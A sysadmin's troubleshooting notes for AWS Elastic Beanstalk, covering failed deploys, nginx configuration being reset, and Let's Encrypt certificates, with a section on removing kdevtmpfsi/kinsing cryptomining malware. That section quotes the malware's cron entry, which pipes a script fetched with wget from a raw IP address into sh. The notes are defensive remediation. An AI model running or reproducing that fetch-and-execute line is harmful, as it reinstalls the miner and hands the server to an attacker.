Troubleshooting Elastic Beanstalk Deployment

Installation

eb deploy failure

• Run eb logs in the local distribution of the environment to view the latest commands run in the EBS environment.
  • If eb logs generates a "permission denied" message, try eb logs --instance [EBS-INSTANCE-ID] --verbose
• View the tail of the file /var/log/cfn-init-cmd.log. This file will list all commands in .ebextensions and whether they executed successfully or not.
• Check the .ebextensions config files on the server in /var/app/staging/
• Confirm the domain settings in AWS Route 53.
• Confirm that the web files have been uploaded to /var/www/html/.
• Confirm the EBS raw URL to the site: AWS Console > Elastic Beanstalk > Environments > click on the URL for the environment in question
• Scale back the application and incrementally deploy.
  • Remove all web files except for a boilerplate "Hello, World" index file.
  • Comment out all commands in .ebextensions configuration files.
  • Remove composer.json
  • Run eb deploy to see if it can successfully upload this most basic environment.
  • Incrementally add back components of the application and redeploy to isolate problematic components.

Directives in .ebextensions config files aren't executed

AWS eb cli uses git HEAD to create zip file to upload to the server.

Confirm that zip files have been added and committed to the repo.

Or to deploy changes before they are committed:

$ eb deploy --staged

Make sure to stage any edits with git (e.g. git add) before running eb deploy with the --staged option!

Cannot create files in /etc/nginx/conf.d with .ebextensions

According to this Stackoverflow thread, WebSockets on Elastic Beanstalk with Docker, it seems that when EBS creates an application it basically clears out the nginx configuration after the .ebextensions commands are run. So any custom ngnix configuration done through .ebextensions would be overwritten.

I have confirmed this insofar as I put my nginx configuration in a file and uploaded it successfully to the ec2-user home directory. I put in another command to move that file to the nginx configuration directory, and after the application was successfully deployed, the custom nginx configuration file was gone.

There were some solutions offered on the Stackoverflow thread above. They involved moving Python scripts to an EBS “hooks” directory which would be executed after the application is deployed. There is no “hooks” directory in that location on my EBS server. For the time being, I am manually creating the nginx config file on the command line on the server after the application is deployed. This will allow the server to use the Let’s Encrypt certificates to serve https requests, and should stay in place through LE certificate renewals until the next application deployment.

The AWS documentation assumes that you generate the certificates manually and insert the contents of the certificate in the .ebextensions config file. The alternative example above places the command to generate the certificates in the .ebextensions config file. There is a flag that is incompatible with production environments: --staging. This will cause the Let's Encrypt staging server to issue the certificates. The server address will also get stored in a local config file, so subsequent attempts to reissue the certificates without the --staging flag will still invoke that staging server.

systemctl command not found

The AWS documentation uses systemctl to restart the Apache server. If this command is not available use the service command instead.

Cannot find SSLCertificateFile directive

When running letsencrypt-auto or certbot-auto

Cannot find an SSLCertificateFile directive in /files/etc/httpd/conf/httpd-le-ssl.conf/IfModule/VirtualHost. VirtualHost was not modified
Unable to find an SSLCertificateFile directive

This was fixed by successfully installing mod_ssl

Re-installing certificates after upgrading an Elastic Beanstalk instance platform

When updating the platform of an Elastic Beanstalk instance (e.g. Linux 2.0.x > Linux 2.9.x), the /opt/letsencript/ directory is not copied over to the new EB instance.

It is necessary to go through all the installation steps for Let's Encrypt and a new Let's Encrypt certificate.

Connectivity

ERR_CONNECTION_REFUSED in Chrome

Attempting to load the site using https protocol in Chrome results in ERR_CONNECTION_REFUSED error.

Check the security certificates in /etc/letsencrypt/live/. There should be a directory with the name of the domain, and another directory named ebcert that is a symbolic link to /etc/letsencrypt/live/securedomainname.com

Check that the server is configured to accept requests on port 443, e.g. in /etc/nginx/conf.d/https_custom.conf

nginx configuration is set back to defaults during eb deploy, meaning the certificates configuration is removed from the server. Also, haven't figured out how to insert custom configuration on the server via .ebextensions configuration directives. It may be necessary to copy this https configuration file manually after running eb deploy.

Elastic Beanstalk environment health

CPU is maxed out

Symptom

The environment is displayed with a warning in the Elastic Beanstalk console. Under the Health tab for the environment the cause is reported as "100% of CPU is in use".

Diagnostics

Run top on the server command line to find which process is using the CPU.

Solution

A process named kdevtmpfsi is bitcoin mining malware. Making files that the process access unavailable to it will prevent it from using CPU.

Confirm the process that is consuming the CPU:

$ top

Kill the process:

 
$ kill -9 [PID]

Search for files the scripts rely on. These are typically located in /tmp

$ find / -name "kdevtmpfs*"
$ find / -name "kinsing*"

Search inside files for references to kdevtmpfsi.

$ find / -type f -exec grep -l "kdevtmpfsi" {} +

Prevent access to files in /tmp.

$ chmod 000 /tmp/kdevtmpfsi*
$ chmod 000 /tmp/kinsing*
$ chmod 000 /tmp/zzz

Search for cron jobs that are re-installing the malware. In the last case the cron job was owned by the user webapp.

$ crontab -u webapp -l

On an infected system, this will result in something like this:

* * * * * wget -q -O - http://195.3.146.118/p.sh | sh > /dev/null 2>&1

The crontab for the other user can be edited with:

$ crontab -e -u [USER]

TODO: Block those IP addresses in EC2.

• kdevtmpfsi & kinsing - the malware miner that will eat your CPU has information about identifying and disabling the source of the malware.
• a suspicious process named 'kdevtmpfsi'，likely related to redis official image
• Threat Alert: Kinsing Malware Attacks Targeting Container Environments has detailed information about the nature of the malware, but not much information about how to remove the malware.